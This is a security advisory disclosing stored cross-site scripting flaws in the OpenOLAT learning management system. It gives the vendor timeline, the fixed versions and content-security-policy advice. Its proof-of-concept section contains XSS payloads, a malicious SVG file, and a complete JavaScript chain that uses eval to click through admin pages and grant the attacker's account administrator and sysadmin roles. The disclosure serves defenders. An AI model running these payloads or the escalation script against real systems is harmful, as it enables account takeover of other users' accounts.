SEC Consult Vulnerability Lab Security Advisory < 20240220-0 >

           title: Multiple Stored Cross-Site Scripting Vulnerabilities  
         product: OpenOLAT (Frentix GmbH)  

vulnerable version: <= 18.1.4 and <= 18.1.5
fixed version: 18.1.6 / 18.2
CVE number: CVE-2024-25973, CVE-2024-25974
impact: High
homepage: https://www.openolat.com/
found: 2023-12-20 and 2024-01-20
by: Mike Klostermaier (Office Berlin)
Johannes Völpel (Office Berlin)
SEC Consult Vulnerability Lab

                  An integrated part of SEC Consult, an Eviden business  
                  Europe | Asia

                  https://www.sec-consult.com

=======================================================================

Vendor description:

“frentix operates in the areas of e-learning, software development, multimedia
and media production. Providing information and lasting impressions – we
try to reconcile this goal in the area of tension between technology, usability
and design.”

“The LMS OpenOlat is an internet-based learning platform for teaching, learning,
assessment and communication, an LMS, a learning management system.”

Source: https://www.openolat.com/unternehmen/

Business recommendation:

The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.

Vulnerability overview/description:

1. Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973)
   Insufficient filtering and sanitization of user input leads to the creation
   of groups, courses and other resources that contain XSS payloads.
   This allows an attacker to execute JavaScript code with the permissions of the
   victim in the context of the user’s browser.

2. Privilege escalation via XSS due to insecure CSP
   If the content security policy is not set securely and there is content on
   the same page that can be manipulated by the attacker, a privilege
   escalation can take place.

3. Stored Cross-Site-Scripting within the Media Center (CVE-2024-25974)
   Insufficient filtering and sanitization of malicious files uploaded by a user
   leads to stored resources within the Media Center that could contain XSS payloads.
   This allows an attacker to execute JavaScript code with the permissions of the
   victim in the context of the user’s browser.

Proof of concept:

1. Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973)
   Various XSS issues have been found in different functions of OpenOLAT.
   The following examples show different attack scenarios.

Example 1 - Stored Cross-Site-Scripting within Coursenames
Due to insufficient filtering and sanitization of user input, an attacker
with rights to create or edit groups can create a course with a name that
contains an XSS payload. When a user edits this course the name including
the payload is displayed and executed. Furthermore, the XSS payload is
executed when editing the course via the course-editor, within the course-editor’s
“layout” tab inside the preview. This also happens multiple times at multiple
locations during the publishing workflow.

The following payload was used as coursename:

<img src=x onerror=alert('from\u0020subcat\u0020title')>  

Example 2 - Stored Cross-Site-Scripting within Catalogname
An attacker, who is authenticated with rights that allow creating or renaming
catalogs, is able to create a catalog (also called sub-category) with a name that
contains an XSS payload due to insufficient filtering and sanitization of user
input.
When a user publishes a course, the name of the catalog including the
payload is displayed and executed within the “Create catalog entry” tab
when selecting "Add to catalog".

The following payload was used as the catalog name:

<img src=x onerror=alert('from\u0020subcat\u0020title')>  

Example 3 - Stored Cross-Site-Scripting within Curriculum Management
An authenticated user of a role, who has the authorization to create
curriculums, is able to create curriculums, whose name contains a JavaScript
payload. These are shown to the members in some views where the JavaScript
payload is executed. To do this, navigate to the overview of the curriculums
via "Curriculum management".
A curriculum can be created via the “Create new curriculum” button in the
window that appears. To recreate the vulnerability, it is sufficient to
enter a JavaScript payload as the identifier.

The following payload was used as curriculum name:

<img src=x onerror=alert('from\u0020subcat\u0020title')>  

When a user with sufficient rights opens the manipulated curriculum via the
“curriculum browser” within the “Curriculum management” the payload within
the curriculum name gets executed within the context of the user’s browser.

Example 4 - Stored Cross-Site-Scripting within Alt-Text of Media-Files
An attacker, who is authenticated with rights that allow uploading files,
can upload media files via the “Media Centre” and enter metadata for these
files. One of the fields used for image metadata is the so-called alt-text
field, which is used to enter an alternative display text for image files.
This alternative text is not sanitized properly when entered during the upload
of files.

The following payload was assigned to an image file as alt-text:

"><img src=a onerror=alert(document.location)>  

The upload of the image file works without further problems and is confirmed.
After successfully uploading the image with a manipulated alt-text, the
transmitted payload is executed directly. Using the function to share content
with other users, this manipulated image can be shared to potential victims
(e.g. a system administrator). The user to whom the image has been shared with
can preview it in their media center. As soon as the user views the image details,
the JavaScript payload stored within the alt-text is executed in the context
of the victim’s browser.

2. Privilege escalation due to unsafe-eval
   If the content security policy is not set securely and there is content on the
   same page that can be manipulated by the attacker, a privilege escalation
   can take place. As the content security policy is set to “Report-Only” and
   “unsafe-eval” is set by default in OpenOLAT, it can be possible to use the
   following attack at least in most cases shown here using stored XSS.

An example that loads a script from an external source was not used here,
as this would not have been possible with an activated CSP, whereas this
vulnerability can also be exploited with an activated standard CSP from
OpenOLAT.
The following example can be used at any given point where a XSS is possible
and another string can be manipulated within a readable context:

"><img src=x onerror='var ps = document.querySelectorAll(`p`); for (var i = 0; i  
< ps.length; i++) { var c = ps[i].textContent; if (c.startsWith(`YXN`))  
{ eval(atob(c)); } }'  

This JavaScript code searches the website for elements that begin
with a certain string (in our example “YXN”), decodes them from base64 and
executes them (due to the unsafe-eval policy) as JavaScript code.
This has been tested to be working with example 4 with the above payload
as the alt-text and the payload mentioned below as the description of the
media file.
The string “YXN” is the start of the base64-encoded following payload:

async function main() {  
     function sleep(ms) {  
         return new Promise(resolve => setTimeout(resolve, ms));  
     }  
     var n = 2000;  
     var anchorElement = document.querySelector('a[title="Manage users and system groups"]');  
  anchorElement.click();  
     await sleep(n);  
     var buttons = document.querySelectorAll('a[title="Organisations"]');  
     buttons[0].click();  
     await sleep(n);  
     var links = document.querySelectorAll('a');  
     var organisationLink = Array.from(links).find(function (link) {  
         return link.textContent === 'OpenOLAT';  
     });  
     organisationLink.click();  
     await sleep(n);  
     var links = document.querySelectorAll('a');  
     var chadLink = Array.from(links).find(function (link) {  
         return link.textContent === 'Chad';  
     });  
     await sleep(n);  
     chadLink.click();  
     await sleep(n);  
     var roleTabLinks = document.querySelectorAll('a[role="tab"]');  
     var rolesLink = Array.from(roleTabLinks).find(function (link) {  
         return link.textContent === 'Roles';  
     });  
     await sleep(n);  
     rolesLink.click();  
     await sleep(n);  
     var inputElement = document.querySelector('input[value="administrator"]');  
     inputElement.click();  
     await sleep(n);  
     var inputElement = document.querySelector('input[value="sysadmin"]');  
     inputElement.click();  
     await sleep(n);  
     var saveButton = document.querySelector('button[value="Save"]');  
     saveButton.click();  
}  
main();  

The code shown here utilizes the static structure of OpenOLAT. The use of
control elements is predictable, as long as the name of the organization used
within the OpenOLAT instance is known. This information is freely accessible to
every logged-in user. Lines 14 and 20 contain variables which must be adapted
to the corresponding OpenOLAT instance and attacker username. The executed
script searches for HTML elements with predictable names in order to navigate
to an administrative interface within the application and elevate the
attacker’s rights to administrative level.

The script works with two-second pauses between the individual actions
to ensure that all actions are only executed after the page has loaded. Even
if this is visible to the victim, the waiting times between the actions can be
optimized in a real attack and can also be used with the help of obfuscation
measures (e.g. additional windows that open and hide the actions).

3. Stored Cross-Site-Scripting (XSS) within the Media-Center (CVE-2024-25974)
   It is possible to upload files within the Media Center of OpenOLAT version 18.1.5
   as an authenticated user without any other rights.
   While the filetypes are limited, an SVG containing an XSS payload can be
   uploaded. The following content has been uploaded within a file
   named 'xss.svg’:

<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<script type="text/javascript">  
     alert(document.location);  
</script>  
</svg>  

After a successful upload the file can be shared with groups of users.
By sharing the file with a group of which an administrator is part of, the
administrator can access the file and open it, which will open the file in a
new tab within the browser. This leads to the execution of the shown script and
will display a message window stating the current domain and path.

Vulnerable / tested versions:

The following versions has been tested which was the latest version available
at the time of the test:

• OpenOLAT 18.1.4 Vulnerability 1 and 2
• OpenOLAT 18.1.5 Vulnerability 3

OpenOLAT version 18.2 was verified whether the identified issues were properly
fixed.

Vendor contact timeline:

2024-01-10: Contacting vendor through [email protected]
2024-01-10: Very quick vendor response within an hour, sending security
advisory to provided contact.
2024-01-10: Feedback from vendor that we submitted known/already fixed issues
for version 18.1.
Retesting latest version 18.1.4, but only three of our submitted
issues had been fixed before (removed from advisory), found
additional, new XSS issues again in latest version.
2024-01-11: Sending updated security advisory to the vendor.
2024-01-11: Quick feedback from vendor declaring example 1 to 3 as accepted
risk, as authors have a trusted position and XSS is only seen as
a risk if the attacker is unauthenticated or has low privileges.
Example 4 will be patched with the upcoming release. No comment
from the vendor on vulnerability 2 regarding the unsafe default
configuration.
2024-01-11: Sending examples 1 to 3 and explaining the risk potential from an
attacker’s perspective to the vendor. Co-ordination with the vendor
regarding the release date of the new version, which includes a fix
for example 4. Asking again about the standard configuration
mentioned in vulnerability 2 and the vendor’s position or judgement
on this.
2024-01-11: Quick reply from the vendor confirming the release date of the new
version on 2024-01-17. With regard to examples 1 to 3, the vendor
confirmed that no fix is planned. Reference is made to modules in
development which will replace the modules containing
vulnerabilities in the course of upcoming releases. With regard
to privilege escalation, which is enabled by the CSP in chapter 2,
the vendor points out that the “unsafe-eval” or “unsafe-inline”
option cannot simply be deactivated in the architecture currently
in use. With regard to the “report-only” setting of the CSP, the
vendor refers to the lack of possibilities to enforce this on
the part of the vendor. However, the vendor advises customers to
activate it.
2024-01-17: Release of version 18.1.5 by the vendor. A fix of example 1, 2 and 4
was verified by the researchers within this version. Example 3 as
well as the CSP from chapter 2 are still exploitable. The PoC code
snipped has been redacted in example 3.
2024-01-18: Mail from vendor, informing us about the release of the patched
version. Vendor states, that the development of OpenOLAT will use
all points from this advisory as guidance for further improvements.
2024-01-19: Sending mail to vendor confirming that the examples 1, 2 and 4
are fixed. Submitted updated draft of this advisory.
2024-01-21: Informing vendor about new found XSS within the Media Center, which
has been added to this advisory as vulnerability 3 (SVG).
2024-01-21: Fast response from vendor informing us, that the found XSS will be
fixed with an update at the end of January.
2024-01-23: Sending mail to the vendor thanking for the quick reply.
2024-01-31: Release of version 18.1.6 by the vendor.
2024-02-09: The researchers can confirm, that all vulnerabilities mentioned
within chapters 1 and 3 are fixed and can no longer be exploited.
Vulnerability 2 still works as documented. Informing the vendor,
that we can confirm the fix and thanking again for the quick and
solution-oriented communication.
2024-02-09: Vendor: Systematic search for further XSS issues, version 18.2.1
contains even more fixes. Version 19 will have CSP enabled by
default.
2024-02-13: Assigning CVE numbers.
2024-02-20: Coordinated release of security advisory.

Solution:

The vendor provided a patched version 18.1.6 / 18.2 or higher which can be downloaded
from:
https://www.openolat.com/releases/

Additionally, it is advised to set the Content-Security-Policy active, instead
of “Report-Only” as well as configuring it as strictly as possible. The upcoming
version 19 will enable CSP by default.

Workaround:

None

Advisory URL:

https://sec-consult.com/vulnerability-lab/

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Europe | Asia

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EOF Johannes Völpel & Mike Klostermaier / @2024